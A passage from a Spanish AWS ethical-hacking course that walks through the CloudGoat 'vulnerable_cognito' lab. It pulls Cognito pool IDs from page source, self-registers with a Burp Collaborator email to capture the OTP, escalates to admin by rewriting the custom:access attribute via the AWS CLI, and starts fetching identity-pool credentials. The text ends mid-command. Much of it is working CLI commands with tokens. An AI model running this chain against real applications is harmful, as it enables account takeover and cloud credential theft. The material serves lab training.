Ethical Hacking en AWS - [CPNA]
YoutubeTwitterLinkedIn
  • La Biblia del Hacking en AWS
    • ADVERTENCIA
    • AWS Community Builder
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende con nuestro curso
    • Aprende con Spartan-CPNA
  • Introduccion al cloud computing
    • ¿Que es Cloud Computing?
    • Amazon Web Services
    • La historia detras de la transicion de On-Premises a la nube
      • Caracteristicas de On-Premises y Transición a la Nube
    • Importancia del cloud computing
    • ¿Vale la pena aprender cloud?
    • Modelos de informática en la nube
    • Infraestructura y Modelos de Despliegue en la Nube
    • Quiero aprender mas sobre la nube de AWS
    • Proveedores Principales de Cloud Computing
      • Amazon Web Services (AWS)
      • Microsoft Azure (Az)
      • Google Cloud Platform (GCP)
      • Comparación entre Proveedores
  • Componentes Clave y Tecnologías en la Nube
    • Introduccion a los componentes principales de la nube
    • Clasificación de los componentes de AWS
    • Virtualización: Conceptos Básicos y su Papel en la Nube
    • Introduccion a la Computación sin Servidor (Serverless)
      • Diferencias entre Monolítica y Serverless
  • Seguridad y Cumplimiento en la Nube
    • Seguridad en la nube
    • Modelo de responsabilidad compartida
    • Mejores Prácticas de Seguridad en la Nube
    • Cumplimiento y Normativas
    • CIS Benchmarks
  • Fundamentos Ofensivos
    • Introduccion al Curso Profesional de Pentesting para Juniors - [CPPJ]
    • ¿Por qué los atacantes van tras la nube?
    • ¿Qué es un Red Team?
      • Assume breach
    • ¿Qué es un Pentesting?
      • Diferencias entre un pentest tradicional y un pentest cloud
    • Instalacion de Kali Linux en local
    • Crea tu cuenta de AWS
    • MITRE
    • Tecnicas de OSINT en AWS
      • Herramientas y Estrategias de OSINT
  • Introduccion a AWS
    • Accediendo a los servicios de AWS
    • ¿Que es AWS CLI?
      • Estructura de comandos en el CLI de AWS
    • El whoami de AWS
    • Almacenamiento de credenciales en archivo plano
      • Prefijo de ID con IAM
    • Incidentes de seguridad relacionados a AWS
    • Limitaciones en un pentest dentro de AWS
  • Introduccion a IAM
    • Tu primer Red Team contra AWS
    • ¿Que es Identity and Access Management o IAM?
    • Politica de IAM
      • La importancia de las politicas de IAM en la seguridad de AWS
      • Politicas predefinidas
    • Usuario de IAM
    • Grupo de IAM
    • Rol de IAM
      • Casos de uso
    • ARN
  • Tecnicas de Enumeracion en IAM
    • ¿Que permisos debo solicitar para realizar las pruebas?
    • Enumeracion Manual con AWSCLI
      • Enumerando usuarios
      • Enumerando grupos
      • Enumerando roles
      • Enumerando politicas
    • Enumeracion automatizada por medio de fuerza bruta
      • Enumerate-IAM.py
      • CLIAM
      • IAMFinder
    • Analisis de vulnerabilidades con herramientas automatizadas
      • Utilizando Prowler
      • Utilizando Cloudsplaining
  • Escalacion de privilegios en IAM
    • ¿Que es la escalacion de privilegios basada en IAM?
    • Metodos para la escalacion de privilegios
    • Permisos de IAM en otros usuarios
      • CreateAccessKey
      • CreateLoginProfile
      • UpdateLoginProfile
      • AddUserToGroup
    • Permisos sobre politicas
      • CreatePolicyVersion
      • SetDefaultPolicyVersion
      • AttachUserPolicy
      • AttachGroupPolicy
      • AttachRolePolicy
      • PutUserPolicy
      • PutGroupPolicy
      • PutRolePolicy
    • La actualización de una AssumeRolePolicy
      • UpdateAssumeRolePolicy
    • Permiso IAM:PassRole*
  • Introduccion a S3
    • ¿Que es Simple Storage Service o S3?
    • Politica de buckets
    • El riesgo de un bucket configurado como publico
    • Enumeracion manual con AWSCLI
    • Identificando vulnerabilidades en S3
    • Backdorizando un Bucket S3 utilizando la politica del Bucket
    • Exfiltracion de datos utilizando la replicacion en S3
  • Introduccion a EC2
    • ¿Que es Elastic Compute Cloud o EC2?
    • Networking en EC2
    • Fundamentos ofensivos para el servicio de IMDSv1
      • ¿Porque utilizar IMDSv2?
    • Ejecuccion de comandos en EC2 utilizando User Data
    • Recuperacion de la contraseña de un EC2
    • AWS Security Token
  • Introduccion a VPC
    • ¿Que es Virtual Private Cloud o VPC?
    • Grupos de seguridad VS lista de control de acceso
    • Pivoting en AWS VPC
    • Realizando Pivoting sobre un EC2
  • Tecnicas ofensivas contra EC2
    • Enumeracion manual con AWSCLI
    • Vectores de escalacion de privilegios
      • CreateEC2WithExistingIP
      • PassExistingRoleToNewGlueDevEndpoint
      • Resolviendo iam_privesc_by_rollback de CloudGoat
    • Abusando del servicio de metadatos IMDSv1 por medio de un SSRF
    • Caso de estudio - Capital One
    • Despliegue de Kali Linux en AWS para operaciones ofensivas
      • Bypass Rate Limit con IP Rotator de BurpSuite
    • Exfiltracion de datos utilizando un Snapshots de EBS
    • Exfiltracion de datos utilizando un Snapshots de una AMI
  • Introduccion a Lambda
    • ¿Que es un Lambda?
    • Desarrollo Serverless con Lambda
    • Arquitectura Monolítica vs Arquitectura Serverless
    • Damn Vulnerable Serverless Application
  • Tecnicas ofensivas contra Lambda
    • Enumeracion manual con AWSCLI
    • Remote Code Execution en Lambda
    • Vectores de escalacion de privilegios
      • PassExistingRoleToNewLambdaThenInvoke
      • PassRoleToNewLambdaThenTriggerWithNewDynamo
      • EditExistingLambdaFunctionWithRole
    • Resolviendo lambda_privesc de CloudGoat
    • Secuestro de Credenciales IAM y Datos de Eventos en AWS Lambda
  • Introduccion a API Gateway
    • ¿Que es API Gateway?
    • Vulnerabilidades Potenciales en API Gateway
    • Enumeracion manual con AWSCLI
    • Divulgacion de informacion sensible por medio de un mal manejo de errores
  • Introduccion a Cognito
    • ¿Que es Cognito?
    • Enumeracion manual con AWSCLI
    • Fundamentos de Lambda Autorizadora
    • Falta de Verificación de la Firma del JWT
    • Vulnerable Cognito
    • Tecnicas y tacticas ofensivas en Cognito
      • cognito-identity:SetIdentityPoolRoles + iam:PassRole
      • cognito-identity:update-identity-pool
      • cognito-idp:AdminAddUserToGroup
      • [cognito-idp:CreateGroup + cognito-idp:UpdateGroup], iam:PassRole
      • cognito-idp:AdminConfirmSignUp
      • cognito-idp:AdminCreateUser
      • cognito-idp:AdminEnableUser
      • cognito-idp:AdminSetUserPassword
      • AdminSetUserSettings | SetUserMFAPreference | SetUserPoolMfaConfig | UpdateUserPool
      • cognito-idp:AdminUpdateUserAttributes
      • cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
      • cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
      • cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
  • Introduccion a Lightsail
    • ¿Que es Lightsail?
    • Vulnerabilidades Potenciales en Lightsail
    • Wordpress Vulnerable
  • Introduccion a DynamoDB
    • ¿Que es DynamoDB?
    • Enumeracion manual con AWSCLI
    • Vulnerabilidades Potenciales en DynamoDB
  • Introduccion a RDS
    • ¿Que es RDS?
    • Vulnerabilidades Potenciales en RDS
    • Cambiando contraseña para un RDS
    • Remote Code Execution sobre un EC2 para comprometer una BD alojada en RDS
    • Exfiltracion de un RDS por medio de un snapshot
  • Introduccion a ECS - EKS - ECR
    • Introducción a los Contenedores y la Orquestación
    • ¿Que es ECS, EKS, ECR?
    • Vulnerabilidades Potenciales en ECS
    • Cluster Hijacking
    • Cloud Container Attack Tool - (CCAT)
    • Enumeracion manual con AWSCLI
  • Tecnicas ofensivas contra arquitectos de AWS
    • AWS SSO Phishing
    • Phishing sobre Login de AWS con Bypass de MFA
    • Gaining AWS Console Access via API Keys - aws_consoler
    • Leaked Credentials
    • Using Modern Malware
  • Introduccion a Secrets Manager
    • ¿Que es AWS Secrets Manager?
    • Enumeración manual de aws secrets manager
  • Movimiento lateral Cloud to Cloud
    • Fundamentos del movimiento lateral en Cloud
    • Técnica 1: Creación de Snapshot de EBS
    • Técnica 2: EC2 Instance Connect
    • Técnica 3: Serial Console Access
    • Technique 4: AWS: Systems Manager
  • Pivoting en AWS Organizations
    • Las cuentas de AWS como límite de seguridad
    • AWS Organizations
    • Abusando de las relaciones de confianza al crear un cuenta (OrganizationAccountAccessRole)
    • Trusted Access and Delegated Administration
    • Realizando un pivoting habilitando IAM Access Analyzer por medio de Trusted Access
  • Material Extra
    • Laboratorios desplegables para practicar hacking en AWS
    • Explotacion de CVEs en la nube - (Log4Shell)
    • PassExistingRoleToCloudFormation
    • PassExistingRoleToNewDataPipeline
    • Utilizando Cartography
    • Utilizando PACU
  • Fundamentos del Blue Team en AWS
    • Introducción a Blue Team en AWS
    • Amazon Cloudtrail
      • Apagando esta defensa
    • Amazon CloudWatch
    • Amazon GuardDuty
      • Apagando esta defensa
    • Amazon Detective
    • Amazon Security Hub
      • ¿Como se habilita?
    • Amazon Inspector
    • Amazon WAF
  • Muchas gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página
  • Análisis del Código HTML
  • Fragmento de Código Analizado:
  • Amazon Cognito: UserPoolId y ClientId
  • Naturaleza Pública de los Identificadores
  • Fragmento de Código Analizado:
  • Realizando registro en Cognito
  • Obteniendo el JWT
  • Cambiando atributos personalizados del usuario

¿Te fue útil?

  1. Introduccion a Cognito

Vulnerable Cognito

Primero desplegamos el laboratorio:

┌──(root㉿SPARTAN-SERVER)-[/home/hacker/cloudgoat]
└─# ./cloudgoat.py create vulnerable_cognito
Using default profile "default" from config.yml...
Loading whitelist.txt...
A whitelist.txt file was found that contains at least one valid IP address or range.

Initializing the backend...

Initializing provider plugins...
- Finding hashicorp/aws versions matching "~> 4.16"...
- Installing hashicorp/aws v4.67.0...
- Installed hashicorp/aws v4.67.0 (signed by HashiCorp)

Terraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run "terraform init" in the future.

Terraform has been successfully initialized!

You may now begin working with Terraform. Try running "terraform plan" to see
any changes that are required for your infrastructure. All Terraform commands
should now work.

If you ever set or change modules or backend configuration for Terraform,
rerun this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.

[cloudgoat] terraform init completed with no error code.
data.aws_caller_identity.aws-account-id: Reading...
data.aws_caller_identity.aws-account-id: Read complete after 0s [id=583318501385]

Al finalizar el despliegue sale el siguiente mensaje:

Apply complete! Resources: 44 added, 0 changed, 0 destroyed.

Outputs:

apigateway_url = "https://ty97c4wq6b.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidf2vavqfesu/index.html"
cloudgoat_output_aws_account_id = "583318501385"

[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.
apigateway_url = https://ty97c4wq6b.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidf2vavqfesu/index.html
cloudgoat_output_aws_account_id = 583318501385

[cloudgoat] Output file written to:

    /home/hacker/cloudgoat/vulnerable_cognito_cgidf2vavqfesu/start.txt

Nuestra auditoria comienza con la revision de la URL previamente obtenida.

Análisis del Código HTML

En el codigo fuente de esta aplicacion se encuentra la siguiente informacion:

function Login(){

  var email = document.getElementById('email').value;
  var password = document.getElementById('password').value;

  var CognitoUserPool = AmazonCognitoIdentity.CognitoUserPool;
  var poolData = {
    UserPoolId: 'us-east-1_geWllxg2l',
    ClientId: '7gis1uto72h5462s6ekvm7rkhd',
  };
  var authenticationData = {
    Username: email,
    Password: password,
  };
  var authenticationDetails = new AmazonCognitoIdentity.AuthenticationDetails(
    authenticationData
  );
 
  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);
  var userData = {
    Username: email,
    Pool: userPool,
  };
  var cognitoUser = new AmazonCognitoIdentity.CognitoUser(userData);

//  cognitoUser.setAuthenticationFlowType('USER_PASSWORD_AUTH');

  cognitoUser.authenticateUser(authenticationDetails, {
    onSuccess: function(result) {
      var accessToken = result.getAccessToken().getJwtToken();

        cognitoUser.getUserAttributes(function(err, result) {
        if (err) {
          alert(err.message || JSON.stringify(err));
          return;
        }
        
        var access = result[4].getValue() // currently the 'custom:access' is at index 4
        // or if the index changes again,
        // the following code always gets it
        // for (const name of result) {
        //   if (name.Name === "custom:access") {
        //     access = name.Value;
        //   }
        // }

        console.log(access)

        if(access == 'admin'){
          window.location = "./admin.html";
        }
        else{
          window.location = "./reader.html"
        }

        for (i = 0; i < result.length; i++) {
          console.log(
            'attribute ' + result[i].getName() + ' has value ' + result[i].getValue()
          );

        }
      });
      //Login Redirect here

    },

    onFailure: function(err) {
      alert(err.message || JSON.stringify(err));
    },
  });
}

La información encontrada en el código HTML se refiere a la configuración inicial necesaria para interactuar con Amazon Cognito, un servicio que proporciona autenticación y gestión de usuarios para aplicaciones web y móviles. Vamos a analizar detalladamente la sensibilidad de esta información y su propósito.

Fragmento de Código Analizado:

var poolData = {
  UserPoolId: 'us-east-1_geWllxg2l',
  ClientId: '7gis1uto72h5462s6ekvm7rkhd',
};

Amazon Cognito: UserPoolId y ClientId

  1. UserPoolId:

    • Definición: El UserPoolId es un identificador único para el pool de usuarios (User Pool) en Amazon Cognito. Este ID especifica el pool de usuarios con el que la aplicación interactuará.

    • Sensibilidad: Este identificador por sí mismo no es extremadamente sensible, pero puede proporcionar pistas sobre la infraestructura del backend a un atacante si se combina con otra información.

  2. ClientId:

    • Definición: El ClientId es un identificador único para la aplicación cliente dentro del pool de usuarios. Este ID es utilizado para identificar la aplicación que solicita autenticación y autorización.

    • Sensibilidad: Al igual que el UserPoolId, el ClientId no es particularmente sensible en sí mismo. Sin embargo, puede ser considerado un vector de ataque si un atacante tiene información adicional.

Naturaleza Pública de los Identificadores

Es común que tanto UserPoolId como ClientId sean expuestos en el frontend (públicamente accesibles) ya que son necesarios para que las aplicaciones web y móviles interactúen con Amazon Cognito. Estos identificadores permiten a la aplicación saber a qué pool de usuarios y aplicación cliente debe dirigir las solicitudes de autenticación.

Fragmento de Código Analizado:

Es común Por otro lado, esta pieza de codigo divulga desde el frontend posibles rutas de usuarios privilegiados:

if(access == 'admin'){
  window.location = "./admin.html";
}
else{
  window.location = "./reader.html"
}

Realizando registro en Cognito

Intentamos iniciar sesion en el aplicativo web:

Only Emails from ecorp.com are accepted

Teniendo en cuenta lo anterior, podriamos intentar ejecutar el siguiente comando:

┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-idp sign-up --client-id 7gis1uto72h5462s6ekvm7rkhd --username spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com --password Password123! --region us-east-1

An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: name.givenName: The attribute name.givenName is required, name.familyName: The attribute name.familyName is required

Amazon Cognito Identity Provider (Cognito-IDP) es un servicio de Amazon Web Services (AWS) diseñado para simplificar la autenticación, autorización y gestión de usuarios en aplicaciones web y móviles. Proporciona funcionalidades esenciales para manejar el ciclo de vida de los usuarios, incluyendo el registro, inicio de sesión y gestión de perfiles, con soporte para múltiples proveedores de identidad.

Para obtener el oastify se puede utilizar colaborator de BurpSuite:

Al intentar registrar nuestro usuario, se nos retorna un error que inidica que faltan los atributos del usuarios.

El error indica que los atributos son name.givenName y name.familyName asi que el comando seria:

┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-idp sign-up --client-id 7gis1uto72h5462s6ekvm7rkhd --username spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com --password Password123! --user-attributes '[{"Name":"given_name","Value":"Gerardo"},{"Name":"family_name","Value":"Eliasib"}]' --region us-east-1
{
    "UserConfirmed": false,
    "CodeDeliveryDetails": {
        "Destination": "s***@9***",
        "DeliveryMedium": "EMAIL",
        "AttributeName": "email"
    },
    "UserSub": "24d844d8-b0c1-70d1-ef6e-4f34a3cbacb0"
}

Luego de lo anterior se nos enviara un OTP:

El texto recibido el collaborator de BurpSuite es el siguiente:

220 burpcollaborator.net Burp Collaborator Server ready
EHLO a10-161.smtp-out.amazonses.com
250-Hello
250 STARTTLS
STARTTLS
220 Ready to start TLS
EHLO a10-161.smtp-out.amazonses.com
250 Hello
MAIL FROM:<0100019046921cb1-24e611b9-be74-463a-86a2-64b66f6b78e6-000000@amazonses.com>
250 OK
RCPT TO:<spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com>
250 OK
DATA
354 Send data
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;
	s=wceqs6rklpxcn5uxy7rtzyarmmyo5fhq; d=verificationemail.com;
	t=1719170899;
	h=Date:From:To:Message-ID:Subject:MIME-Version:Content-Type;
	bh=7KOGtHW7IvXANy907QPOVC61Ftm2PUSbmdgRgpOjEeA=;
	b=CyFZXxoujxCJX3TIQQY3Wots82g308oxA2C2awOpZsjYEx8k8BVfHPRlS3iUQC9f
	YyiDKNuswGSNs74Jv8yECdHbaxcI+nkCs/geTTa28hrS2iHo95j3QsNK58f/hU48seX
	oA6PbqKARsIAaRV1IhReS3KbMl6LksuITsb5OAHA=
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;
	s=ug7nbtf4gccmlpwj322ax3p6ow6yfsug; d=amazonses.com; t=1719170899;
	h=Date:From:To:Message-ID:Subject:MIME-Version:Content-Type:Feedback-ID;
	bh=7KOGtHW7IvXANy907QPOVC61Ftm2PUSbmdgRgpOjEeA=;
	b=e32wd/M98Eix9WW0tHcIGqLxYFY4s9uCaNTGTQUEwdAw+HfUUBcePtsUvK9Gmp5q
	3P0f0jRfxeFWxsm9SKE5R49NNyH3f/Gw7wZS/pJbLaDlW8prCgkzpOUCO590tlWJO/2
	O5VDpvqlc6HgTKj0KNWuQ+swex+MBE/uzcSx2QX8=
Date: Sun, 23 Jun 2024 19:28:19 +0000
From: no-reply@verificationemail.com
To: spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com
Message-ID: <0100019046921cb1-24e611b9-be74-463a-86a2-64b66f6b78e6-000000@email.amazonses.com>
Subject: Your verification code
MIME-Version: 1.0
Content-Type: multipart/alternative; 
	boundary="----=_Part_676016_55217316.1719170899031"
user_pool_id: us-east-1_geWllxg2l
Feedback-ID: ::1.us-east-1.BZabOWIk0yzMj8i/qOPiQEvMo0ZVvZFAHCiYNAF22Ec=:AmazonSES
X-SES-Outgoing: 2024.06.23-54.240.10.161

------=_Part_676016_55217316.1719170899031
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit

Your confirmation code is 704305
------=_Part_676016_55217316.1719170899031--
.
250 OK

Lo mas importante de lo anterior es el siguiente mensaje:

Your confirmation code is 704305

Por lo anterior, se procede a validar el usuario previo:

┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-idp confirm-sign-up --client-id 7gis1uto72h5462s6ekvm7rkhd --username spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com --confirmation-code 704305 --region us-east-1

Lo anterior, indica que la confirmacion del usuario ha sido exitosa.

Ahora vamos autenticarnos con nuestro usuario:

Luego de la autenticacion, podemos apreciar lo siguiente:

Obteniendo el JWT

Ahora tomamos el JWT de las peticiones y ejecutamos el siguiente comando:

┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-idp get-user --access-token "eyJraWQiOiJCb3B5Ulk4ajJYbzZUalo4QmpjTXR2aEphN3lBK1pvTDZEQ25NWEtmUUdNPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIyNGQ4NDRkOC1iMGMxLTcwZDEtZWY2ZS00ZjM0YTNjYmFjYjAiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV9nZVdsbHhnMmwiLCJjbGllbnRfaWQiOiI3Z2lzMXV0bzcyaDU0NjJzNmVrdm03cmtoZCIsIm9yaWdpbl9qdGkiOiJkNTk5NDAyZS1hYzA5LTRjM2ItYTgwMi0wMmE0YjMyMTc3MmEiLCJldmVudF9pZCI6IjczZGU2ODBkLTdkYzUtNDZhOC04Y2EzLTcwMTc4MzA4MjZjNiIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE3MTkxNzEyODEsImV4cCI6MTcxOTE3NDg4MSwiaWF0IjoxNzE5MTcxMjgxLCJqdGkiOiI4OTNkNmUxNy1hNThlLTQyNmItYjE2Zi0yZGEyNjE0ZmMzZjEiLCJ1c2VybmFtZSI6IjI0ZDg0NGQ4LWIwYzEtNzBkMS1lZjZlLTRmMzRhM2NiYWNiMCJ9.v0bBBpyrovLa1CigNt-fYC2GFtD20ZoetxBOUPix1WSQ8WFPneNm-ShytI6pqdOkjnc46n8HWzwm3KQkmIE_EbB4pkTjxW3WgYhAm84IYpBtfnyxAqxSRLiEY2NwUCutTp91jlMJKrVTBP3uYeTqKRwEPiVauBQPhGjt7Cb0iFgSfo-t-gpRkPIJGjaZBno68Od1_KwVktI9q9d5oSzAtNZpWi9U5cFr7eq0nYeYydlLOdfkp0tJFWedd1P4h2EYknGFJhDubXQpVeTT4d2v3QbhnXbV-HyqNWI7I4EAG_l5rqURxlVzjqXEaEY50dKNR6FCEvH2LtmorjjQYjCsNA"  --region us-east-1
{
    "Username": "24d844d8-b0c1-70d1-ef6e-4f34a3cbacb0",
    "UserAttributes": [
        {
            "Name": "email",
            "Value": "spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com"
        },
        {
            "Name": "email_verified",
            "Value": "true"
        },
        {
            "Name": "family_name",
            "Value": "Eliasib"
        },
        {
            "Name": "given_name",
            "Value": "Gerardo"
        },
        {
            "Name": "custom:access",
            "Value": "reader"
        },
        {
            "Name": "sub",
            "Value": "24d844d8-b0c1-70d1-ef6e-4f34a3cbacb0"
        }
    ]
}

La información sobre el nivel de acceso del usuario (custom:access:reader) podría ser utilizada para escalar privilegios si no se gestionan adecuadamente los controles de acceso en la aplicación.

El analisis del JWT tambien lo podemos realizar con la siguiente pagina:

Cambiando atributos personalizados del usuario

Despues de lo anterior, se procede a realizar el cambio del atributo:

aws cognito-idp update-user-attributes --access-token "eyJraWQiOiJCb3B5Ulk4ajJYbzZUalo4QmpjTXR2aEphN3lBK1pvTDZEQ25NWEtmUUdNPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIyNGQ4NDRkOC1iMGMxLTcwZDEtZWY2ZS00ZjM0YTNjYmFjYjAiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV9nZVdsbHhnMmwiLCJjbGllbnRfaWQiOiI3Z2lzMXV0bzcyaDU0NjJzNmVrdm03cmtoZCIsIm9yaWdpbl9qdGkiOiJkNTk5NDAyZS1hYzA5LTRjM2ItYTgwMi0wMmE0YjMyMTc3MmEiLCJldmVudF9pZCI6IjczZGU2ODBkLTdkYzUtNDZhOC04Y2EzLTcwMTc4MzA4MjZjNiIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE3MTkxNzEyODEsImV4cCI6MTcxOTE3NDg4MSwiaWF0IjoxNzE5MTcxMjgxLCJqdGkiOiI4OTNkNmUxNy1hNThlLTQyNmItYjE2Zi0yZGEyNjE0ZmMzZjEiLCJ1c2VybmFtZSI6IjI0ZDg0NGQ4LWIwYzEtNzBkMS1lZjZlLTRmMzRhM2NiYWNiMCJ9.v0bBBpyrovLa1CigNt-fYC2GFtD20ZoetxBOUPix1WSQ8WFPneNm-ShytI6pqdOkjnc46n8HWzwm3KQkmIE_EbB4pkTjxW3WgYhAm84IYpBtfnyxAqxSRLiEY2NwUCutTp91jlMJKrVTBP3uYeTqKRwEPiVauBQPhGjt7Cb0iFgSfo-t-gpRkPIJGjaZBno68Od1_KwVktI9q9d5oSzAtNZpWi9U5cFr7eq0nYeYydlLOdfkp0tJFWedd1P4h2EYknGFJhDubXQpVeTT4d2v3QbhnXbV-HyqNWI7I4EAG_l5rqURxlVzjqXEaEY50dKNR6FCEvH2LtmorjjQYjCsNA" --user-attributes '[{"Name":"custom:access","Value":"admin"}]' --region us-east-1

Luego de iniciar sesion nuevamente nos redirige a la sesion de administrador:

El fichero admin.html tiene la siguiente informacion:

<!DOCTYPE html>
	
<head>
	<title>Admin</title>
</head>

<body>

<script src="./amazon-cognito-identity.min.js"></script>
<script src="./aws-sdk.js"></script>

<script>


var poolData = {
  UserPoolId: 'us-east-1_geWllxg2l',
  ClientId: '7gis1uto72h5462s6ekvm7rkhd',
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);
var cognitoUser = userPool.getCurrentUser();


if (cognitoUser != null) {
	cognitoUser.getSession(function(err, result) {
		if (result) {
			console.log('You are now logged in.');

			//POTENTIAL: Region needs to be set if not already set previously elsewhere.
			AWS.config.region = 'us-east-1';

			// Add the User's Id Token to the Cognito credentials login map.
			AWS.config.credentials = new AWS.CognitoIdentityCredentials({
				IdentityPoolId: 'us-east-1:6d13aa02-7559-49f0-91ec-66047f4046da',
				Logins: {
					'cognito-idp.us-east-1.amazonaws.com/us-east-1_geWllxg2l': result
						.getIdToken()
						.getJwtToken(),
				},
			});
		}
	});
}
//call refresh method in order to authenticate user and get new temp credentials
AWS.config.credentials.refresh(error => {
	if (error) {
		console.error(error);
	} else {
		console.log('Successfully logged!');
	}
});

</script>

<h1 align="center">You're an Admin!!</h1>
<body>
</html>

Luego de lo anterior, se procede a ejecutar el siguiente comando:

┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-identity get-id --region us-east-1 --identity-pool-id 'us-east-1:6d13aa02-7559-49f0-91ec-66047f4046da' --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_geWllxg2l=eyJraWQiOiJZditsSnVjdjRJYldWTmV4TDU5NEFTWW1YQm5ZSVJGSlFaVkp6T0IwZkxBPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIyNGQ4NDRkOC1iMGMxLTcwZDEtZWY2ZS00ZjM0YTNjYmFjYjAiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfZ2VXbGx4ZzJsIiwiY29nbml0bzp1c2VybmFtZSI6IjI0ZDg0NGQ4LWIwYzEtNzBkMS1lZjZlLTRmMzRhM2NiYWNiMCIsImdpdmVuX25hbWUiOiJHZXJhcmRvIiwiY3VzdG9tOmFjY2VzcyI6ImFkbWluIiwib3JpZ2luX2p0aSI6IjdmODk2NDdkLWU0NTItNGFmYy05Yzc2LTY1ZmJmZWI1ZTc4NiIsImF1ZCI6IjdnaXMxdXRvNzJoNTQ2MnM2ZWt2bTdya2hkIiwiZXZlbnRfaWQiOiIwMWRhNmE0Zi00ODNmLTQyN2YtYjg4MS1lZmNlN2JkODEzMDEiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcxOTE3MjYxNywiZXhwIjoxNzE5MTc2MjE3LCJpYXQiOjE3MTkxNzI2MTcsImZhbWlseV9uYW1lIjoiRWxpYXNpYiIsImp0aSI6ImZjOTg0ZmY0LWNlMGYtNDIxYS04ODhmLTE1YjRlOWRjZDY5OCIsImVtYWlsIjoic3BhcnRhbkA5b3luaTk2azZlbWFsdWFrZ3Vsc2ZpeXBzZ3k3bXhhbS5vYXN0aWZ5LmNvbSJ9.eGehf1bPdNfaR3CjBf9-kJ3XjjW-UNsPS38sOxQRbAwtebkAO5MLvKPkGgW0MITPXlEl1VtD-7x7p7LFmJNaLhE2VR8bZuZR6_eGpnn2EZpS5ZiTffx4YikaewzJ4rQDepSS7DJbhc9qP-h309S35M_ypqo6PqfNWnRAZHvDjCvdMt2qziR5v67juAfAvE-ldxM16fJWQkj7ee_HxA67gIuknwhiX7kmcN0mkZjvPNMt0h3PBCmXa6d0VDkLRVEKeac7HXdvSIyqwjMV2ltN1kR6r4stNRG6_PXl_I7gSHWGCJOnWBVx2CNu8PHXUCzA0e4say2CDIUVm7lsbORthg"
{
    "IdentityId": "us-east-1:87d07df8-094f-caf0-09c8-d65a01ef21a4"
}

Y ahora ejecutamos lo siguiente:

┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-identity get-credentials-for-identity --region us-east-1 --identity-id 'us-east-1:87d07df8-094f-caf0-09c8-d65a01ef21a4' --logins 